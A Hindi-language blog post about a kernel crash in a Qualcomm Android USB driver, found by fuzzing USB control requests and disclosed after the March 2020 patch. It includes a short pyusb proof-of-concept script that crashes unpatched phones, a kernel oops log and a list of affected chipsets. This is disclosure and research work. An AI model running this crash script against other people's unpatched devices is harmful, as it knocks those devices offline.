
USB device fuzzing on Android Phone
यह ब्लॉग पोस्ट USB डिवाइस फ़ज़िंग का उपयोग करके मेरे एंड्रॉइड डिवाइस (MI A2 - स्टॉक एंड्रॉइड चलाता है) में मिले एक साधारण बग के बारे में है, जिसे Google द्वारा उच्च गंभीरता के रूप में चिह्नित किया गया था। बग क्वालकॉम USB ड्राइवर में था जिसे बाद में पैच किया गया और मार्च 2020 एंड्रॉइड बुलेटिन में खुलासा किया गया। कमजोरी के बारे में, जब आप एंड्रॉइड फोन पर एक क्राफ्टेड USB अनुरोध भेजते हैं तो यह एंड्रॉइड कर्नेल को क्रैश कर देता है और आपका फोन रीस्टार्ट हो जाता है।
यह बग USB गैजेट "core.c" में उपयोग किए गए एक अनइनिशियलाइज़्ड वेरिएबल के कारण हुआ था। कमजोरी के विवरण नीचे दिए गए क्वालकॉम सुरक्षा सलाहकार और एंड्रॉइड मार्च 2020 बुलेटिन में पाए जा सकते हैं।
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
एंड्रॉइड फोन डिवाइस और होस्ट दोनों मोड का समर्थन करते हैं, डिवाइस मोड में आप USB केबल का उपयोग करके अपने मोबाइल को पीसी से कनेक्ट कर सकते हैं और विभिन्न USB कनेक्टिविटी मोड (जैसे केवल चार्जिंग, MTP) के साथ अपने फोन से पीसी पर छवियां, संगीत साझा कर सकते हैं। होस्ट मोड में आप OTG केबल का उपयोग करके हेडसेट, फ्लैश ड्राइव कनेक्ट कर सकते हैं जहां आपके डिवाइस क्लाइंट के रूप में कार्य करते हैं और आपका एंड्रॉइड फोन होस्ट के रूप में कार्य करता है।
यह कमजोरी केवल USB नियंत्रण मापदंडों जैसे bmRequestType, bRequest, wValue(bDescriptortype:DescriptorIndex), wIndex और wLength को रैंडमाइज़ करके और इसे एंड्रॉइड डिवाइस पर भेजकर पाई गई थी। लिनक्स होस्ट से एंड्रॉइड पर नियंत्रण अनुरोधों का एक क्रम भेजकर (जैसा कि नीचे स्क्रिप्ट में देखा गया है), फोन में USB डिवाइस ड्राइवर इसे पार्स करता है और कर्नेल पैनिक का कारण बनता है।
आप USB अवलोकन और फ़ज़िंग के बारे में समझने के लिए ऑफेंसिव-कॉन 2019 में एंड्रे कोनोवलोव द्वारा यह नीचे दिया गया वीडियो देख सकते हैं और साथ ही USB प्रोटोकॉल की मूल बातें: USB 101: यूनिवर्सल सीरियल बस 2.0 का परिचय।
https://www.youtube.com/watch?v=1MD5JV6LfxA
प्रभावित चिपसेट: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
यदि आपने अपने फोन को एंड्रॉइड मार्च 2020 पैच के साथ अपडेट नहीं किया है तो इस कमजोरी को पुन: उत्पन्न करने के चरण।
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
इसके अलावा क्रैश लॉग क्रैश के पीछे का कारण नहीं बताते हैं। इसलिए मैं अपने नए पिक्सेल में बिल्ड में KASAN जोड़ने और फ़ज़िंग के दौरान क्रैश के लिए लॉग की निगरानी करने जैसी उचित इंस्ट्रूमेंटेशन तकनीकों के साथ अपने डिवाइस फ़ज़िंग में सुधार करने की योजना बना रहा हूं। साथ ही libusb बड़े नियंत्रण अनुरोधों को जारी करने की अनुमति नहीं देता है और अधिकांश समय यह ट्रिम हो जाता है। इसलिए मैं ioctl का उपयोग करके सीधे USB ड्राइवर को कमांड जारी करने के लिए केट टेमकिन के उदाहरण (fusee_gelee) के साथ प्रयास करने की योजना बना रहा हूं।